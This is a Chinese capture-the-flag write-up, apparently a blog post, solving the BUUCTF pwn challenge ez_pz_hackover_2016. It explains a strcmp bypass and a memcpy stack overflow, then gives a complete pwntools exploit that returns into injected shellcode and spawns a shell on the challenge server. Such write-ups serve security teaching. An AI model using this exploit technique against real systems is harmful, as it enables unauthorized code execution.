[BUUCTF]PWN——ez_pz_hackover_2016
ez_pz_hackover_2016
题目附件
解题步骤:
例行检查,32位,开启了RELRO保护,二进制的保护机制看这里
由于没有开启nx保护,对于这题一开始想到的是利用写入shellcode来获取shell

试运行一下程序,看到程序一开始给我们了一个地址,随后让我们输入

32位ida载入,首先习惯性的shift+f12检索程序里的字符串,没有看到敏感的函数
从main函数开始看程序

程序主体在chall函数里

一开始给我们输出了参数s的地址,之后利用fgets函数读入1023(0x3ff)长度的数据给s,s的大小是0x40c,没法造成溢出,之后将我们输入的数据利用strcmp函数跟crashme比较,如果不是这个字符串,就退出,
strcmp函数在百度百科里的解释:
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止
也就是我们应该输入 ‘crashme\x00’ 可以绕过这个if检查,之后执行vuln函数

百度百科里对memcpy函数的解释
memcpy指的是C和C++使用的内存拷贝函数,函数原型为void *memcpy(void *destin, void *source, unsigned n);函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,即从源source中拷贝n个字节到目标destin中。
这里将我们的参数s中拷贝0x400个字节到dest中,dest的大小只有0x32,存在溢出漏洞
利用思路:
往s参数里写入shellcode,执行vuln函数后让dest造成溢出,将返回地址修改为shellcode的地址去执行
利用过程:
- 首先我们利用pwndbg动态调试,来找一下我们写入shellcode在栈上的地址位置
在ida里找一个nop指令来下断点,我这边是利用0x8048600这个地址的nop

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'
gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print hex(stack)
payload='crashme\x00'+'aaaaaa'#前面的crashme\x00绕过if判断
#后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址
#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)
pause()#linxu下的暂停程序命令
将上述代码执行后会多跳出来一个图2,图1注意一下得到的s在栈上的地址


按c继续执行下一步,看到它在我们下的断点处断开了

输入命令 stack 50 来查看一下栈布局,看到了我们输入的数据,‘ashme’,由于对齐的原因,没有跟 ‘cr’ 连在一起,我们看它上一行0x63就是 ‘c’ ,0x72是 ‘r’ ,由于小端序的原因,所以是这样的

看到ebp的位置是0x38,我们输入参数的位置是0x22(我们看左边是0x20,但其实是0x22,看0x20上的参数 0x72 63 00 00对应的0x23,0x22,0x21,0x20 我们实际上是在0x22处开始写如我们数据的)
那么我们的ebp距离我们的输入点的距离是0x38-0x22=0x16;我们的shellcode应该写在ebp之后(32位程序的ebp占4个字节),就是在0x16+0x4处,换句话说我们在覆盖完ebp后的返回地址应该填写指向shellcode的地址
payload='crashme\x00'+'a'*(0x16-8+4)+p32(addr)
-8是 ‘crashme\x00’ 占用了8字节,+4是用来覆盖ebp的
- 接下来解决我们的指向shellcode的地址的问题
我们一开始得到了一个栈上的地址0xffced7cc,它在参数s栈上的相对位置是0x20,我们的返回地址在参数s栈上的相对位置是0x3c(ebp+4),我们输入点距离我们的返回地址的距离是0x3c-0x20=0x1c ,所以我们可以用oxffced7cc-0x1c来表示返回地址

因此我们可以构造payload
payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+p32(shellcode)
这样就完成了利用
完整EXP:
from pwn import *
r=remote('node3.buuoj.cn',26843)
#p=process('./ez_pz_hackover_2016')
context.log_level='debug'
#gdb.attach(p,'b *0x8048600')
r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode
#print hex(stack)
payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode
r.sendline(payload)
#pause()
r.interactive()

[BUUCTF]PWN——ez_pz_hackover_2016的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
随机推荐
- BootStrap中模态框踩坑
在模态框中使用html标签上的自定义属性来打开模态框后,在使用JS关闭模态框,就会出现多层蒙板问题 出现这个问题的原因就是没有仔细看bootstrap的官方文档,我人麻了,搞了好久 务必将模态框的 H ...
- vue 数据单项绑定
提供get方法,修改数据不改原来数据,进行单向绑定,还可以做数据缓存,减少服务器压力. 提供单独的set方法.
- static关键字相关内容
静态变量(static)与非静态变量,静态方法(static)与非静态方法 //static public class Student { private static int age; //静态的变 ...
- Identity Server 4 从入门到落地(二)—— 理解授权码模式
Identity Server 的目的是认证和授权,我们需要理解认证和授权的工作过程.这就需要了解OAuth 2.0的四种授权模式,下面这张图是授权码模式的工作过程,至少我在一开始看得一头雾水: 现在 ...
- JavaSE复习巩固
第二天:复习if语句,扫描器,switch语句,循环语句 1.if语句---流程控制语句 if之前学的语句是顺序结构 1.1 单个if的语法结构 if(条件判断){ 满足条件需要做的事情: } int ...
- 快读模板 + #define 压缩for
快读是一个很重要的模板 #define 压缩for是为了代码的简洁 这里贴一下模板 #define f(i , a , b) for(int i=(a) ; i <= (b) ; i++) us ...
- LOJ 2555 & 洛谷 P4602 [CTSC2018]混合果汁(二分+主席树)
LOJ 题目链接 & 洛谷题目链接 题意:商店里有 \(n\) 杯果汁,第 \(i\) 杯果汁有美味度 \(d_i\),单价为 \(p_i\) 元/升.最多可以添加 \(l_i\) 升.有 \ ...
- CF1539F Strange Array
这玩意为啥是紫. 考虑对每个小于\(x\)的数值设为1,大于\(x\)的数值设为-1. 那么对于答案要求的就是绝对值最大的连续段. 线段树是很显然的. 考虑我们不能对每个数都进行一遍重构,这样就退化到 ...
- 记一次VS2010和VS2015自定义颜色的过程
首先,是遇到的问题: 一天,使用VS2010看新项目代码时候,发现选中某个变量后,其它位置高亮显示的变量颜色太淡,不利于阅读代码,如下图.所以想修改这个颜色. 后来网上找了一遍,可以这样设置:工具-- ...
- PowerDotNet平台化软件架构设计与实现系列(05):ETCD分布式键值存储平台
ETCD目前在PowerDotNet已经被用于注册中心和配置管理(常见的配置中心在PowerDotNet中仅仅是一个小小的模块而已)中,作为基础设施的重要组成部分,ETCD的重要性不言而喻. 本文简单 ...